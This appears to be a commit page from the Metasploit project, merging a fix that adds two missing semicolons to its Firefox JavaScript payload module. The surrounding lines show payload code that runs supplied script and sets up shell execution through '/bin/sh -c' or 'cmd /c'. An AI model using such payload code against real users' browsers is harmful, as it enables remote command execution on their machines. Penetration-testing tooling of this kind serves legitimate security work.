Merge #3335, @bcoles's fixes to FF JS payloads for single-line payloads.

bug/bundler_fix
joev 2014-05-05 08:12:39 -05:00
commit b67418e7f1
No known key found for this signature in database
GPG Key ID: 127B05FB3E85A2B0
1 changed files with 2 additions and 2 deletions

View File

@ -92,7 +92,7 @@ module Msf::Payload::Firefox
try { try {
retVal = Function('send', js[1])(function(r){ retVal = Function('send', js[1])(function(r){
if (sent) return; if (sent) return;
sent = true sent = true;
if (r) { if (r) {
if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); }); if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); });
else cb(false, r+tag+"\\n"); else cb(false, r+tag+"\\n");
@ -111,7 +111,7 @@ module Msf::Payload::Firefox
} }
var shEsc = "\\\\$&"; var shEsc = "\\\\$&";
var shPath = "/bin/sh -c" var shPath = "/bin/sh -c";
if (windows) { if (windows) {
shPath = "cmd /c"; shPath = "cmd /c";